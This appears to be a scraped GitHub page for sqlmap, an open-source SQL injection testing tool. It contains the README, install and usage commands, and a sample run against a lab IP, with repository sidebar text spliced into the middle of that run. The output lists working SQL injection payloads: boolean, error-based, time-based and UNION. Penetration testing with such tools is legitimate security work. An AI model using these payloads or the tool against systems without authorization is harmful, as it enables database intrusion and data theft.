

sqlmapproject / sqlmap

Type [f] to search

+

<> Code

Issues 50

Pull requests 11

Actions

Projects

Wiki

Security

Insights

sqlmapPublic

SponsorWatch 1105Fork 6kStar 35k

master2 Branches128 TagsGo to fileAdd fileCode

stamparamGetting rid of the codecs.open (python3.14)2ecb9c2 · 17 hours ago10,315 Commits

.github	Bump python-version for GitHub tests	6 months ago
data	Getting rid of the codecs.open (python3.14)	17 hours ago
doc	Commit related to the #5864	3 weeks ago
extra	Patch for #5897	3 months ago
lib	Getting rid of the codecs.open (python3.14)	17 hours ago
plugins	Fixes #5936	last week
tamper	Patch for #5897	3 months ago
thirdparty	Getting rid of the codecs.open (python3.14)	17 hours ago
.gitattributes	Renaming Twitter to X	last year
.gitignore	Trivial update	6 years ago
LICENSE	Year bump	8 months ago
README.md	Commit related to the #5864	3 weeks ago
sqlmap.conf	Unhide '--disable-stats' (#5912)	2 months ago
sqlmap.py	Fixes #5929	last month
sqlmapapi.py	Patch for #5897	3 months ago
sqlmapapi.yaml	Trivial update	4 years ago

READMECode of conductContributingLicense

sqlmap

tests.ymlpassingpython2.6|2.7|3.xlicenseGPLv2x@sqlmap

sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester, and a broad range of switches including database fingerprinting, over data fetching from the database, accessing the underlying file system, and executing commands on the operating system via out-of-band connections.

Screenshots

```
$ python sqlmap.py -u "http://172.16.112.128/sqlmap/mysql/get_int.php?id=1" --batch
```

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 10:34:28 /2019-04-30/

[10:34:28] [INFO] testing connection to the target URL
[10:34:28] [INFO] heuristics detected web page charset 'ascii'
[10:34:28] [INFO] checking if the target is protected by some kind of WAF/IPs
[10:34:28] [INFO] testing if the target URL content is stable
[10:34:29] [INFO] target URL content is stable
[10:34:29] [INFO] testing if GET parameter 'id' is dynamic
[10:34:29] [INFO] GET parameter 'id' appears to be dynamic
[10:34:29] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable (possible DBMS: 'MySQL')
[10:34:29] [INFO] heuristic (XSS) test shows that GET parameter 'id' might be vulnerable to cross-site scripting (XSS) at tacks
[10:34:29] [INFO] testing for SQL injection on GET parameter 'id'
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y
[10:34:29] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[10:34:29] [WARNING] reflective value(s) found and filtering out
[10:34:29] [INFO] GET parameter 'id' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable (with --strings='Luther')
[10:34:29] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)'
[10:34:29] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)'
[10:34:29] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)'
[10:34:29] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (EXP)'
[10:34:29] [INFO] testing 'MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)'
[10:34:29] [INFO] testing 'MySQL >= 5.7.8 OR error-based - WHERE or HAVING clause (JSON_KEYS)'
[10:34:29] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[10:34:29] [INFO] GET parameter 'id' is 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' injectable
[10:34:29] [INFO] testing 'MySQL inline queries'
[10:34:29] [INFO] testing 'MySQL > 5.0.11 stacked queries (comment)'
[10:34:29] [WARNING] time-based comparison requires larger statistical model, please wait..... (done)

About

Automatic SQL injection and database takeover tool

[sqlmap.org](#)

pythondatabase detectionsql-injectionpentestingexploitationsqlmaptakeovervulnerability-scanner

ReadmeView licenseCode of conductContributingActivityCustom properties35k stars1.1k watching6k forksReport repository

Releases 10Erlathan UlavenLateston Jan 2+ 9 releases

Sponsor this project

sqlmapproject sqlmapprojectSponsorLearn more about GitHub Sponsors

PackagesNo packages published

Contributors 133+ 119 contributors

Deployments 54github-pages 2 weeks ago+ 53 deployments

LanguagesPython 98.2% C 0.7% Shell 0.6% HTML 0.3% Perl 0.1% C++ 0.1%


```
[10:34:29] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[10:34:29] [INFO] testing 'MySQL > 5.0.11 stacked queries (query SLEEP - comment)'
[10:34:29] [INFO] testing 'MySQL > 5.0.11 stacked queries (query SLEEP)'
[10:34:29] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query - comment)'
[10:34:29] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query)'
[10:34:29] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind'
[10:34:39] [INFO] GET parameter 'id' appears to be 'MySQL >= 5.0.12 AND time-based blind' injectable
[10:34:39] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[10:34:39] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other
(potential) technique found
[10:34:39] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number
of query columns. Automatically extending the range for current UNION query injection technique test
[10:34:39] [INFO] target URL appears to have 3 columns in query
[10:34:39] [INFO] GET parameter 'id' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 46 HTTP(s) requests:
---
Parameter: id (GET)
  Type: boolean-based blind
  Title: AND boolean-based blind - WHERE or HAVING clause
  Payload: id=1 AND 6489=6489

  Type: error-based
  Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
  Payload: id=1 AND (SELECT 7857 FROM(SELECT COUNT(*),CONCAT(0x717a786a71,(SELECT (ELT(7857=7857,1))),0x716a6b6a71,FL00
R(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)

  Type: time-based blind
  Title: MySQL >= 5.0.12 AND time-based blind
  Payload: id=1 AND SLEEP(5)

  Type: UNION query
  Title: Generic UNION query (NULL) - 3 columns
  Payload: id=1 UNION ALL SELECT NULL,CONCAT(0x717a786a71,0x5a5151727477666c4c4162475655626153796d79455947614b5153456f5
a7a4f6f57724d586d614d,0x716a6b6a71),NULL-- swCD
---
[10:34:39] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: MySQL >= 5.0
[10:34:39] [INFO] fetched data logged to text files under '/home/stamparm/.sqlmap/output/172.16.112.128'

[*] ending @ 10:34:39 /2019-04-30/

$ █
```

You can visit the [collection of screenshots](#) demonstrating some of the features on the wiki.

Installation

You can download the latest tarball by clicking [here](#) or latest zipball by clicking [here](#).

Preferably, you can download sqlmap by cloning the [Git](#) repository:

```
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
```

sqlmap works out of the box with [Python](#) version 2.6, 2.7 and 3.x on any platform.

Usage

To get a list of basic options and switches use:

```
python sqlmap.py -h
```

To get a list of all options and switches use:

```
python sqlmap.py -hh
```

You can find a sample run [here](#). To get an overview of sqlmap capabilities, a list of supported features, and a description of all options and switches, along with examples, you are advised to consult the [user's manual](#).

Links

- Homepage: <https://sqlmap.org>
- Download: [.tar.gz](#) or [.zip](#)
- Commits RSS feed: <https://github.com/sqlmapproject/sqlmap/commits/master.atom>
- Issue tracker: <https://github.com/sqlmapproject/sqlmap/issues>
- User's manual: <https://github.com/sqlmapproject/sqlmap/wiki>
- Frequently Asked Questions (FAQ): <https://github.com/sqlmapproject/sqlmap/wiki/FAQ>
- X: [@sqlmap](#)
- Demos: <https://www.youtube.com/user/inquisb/videos>
- Screenshots: <https://github.com/sqlmapproject/sqlmap/wiki/Screenshots>

Translations

- [Arabic](#)
- [Bengali](#)
- [Bulgarian](#)
- [Chinese](#)
- [Croatian](#)
- [Dutch](#)
- [French](#)
- [Georgian](#)
- [German](#)
- [Greek](#)
- [Hindi](#)
- [Indonesian](#)
- [Italian](#)
- [Japanese](#)

- [Korean](#)
- [Kurdish \(Central\)](#)
- [Persian](#)
- [Polish](#)
- [Portuguese](#)
- [Russian](#)
- [Serbian](#)
- [Slovak](#)
- [Spanish](#)
- [Turkish](#)
- [Ukrainian](#)
- [Vietnamese](#)

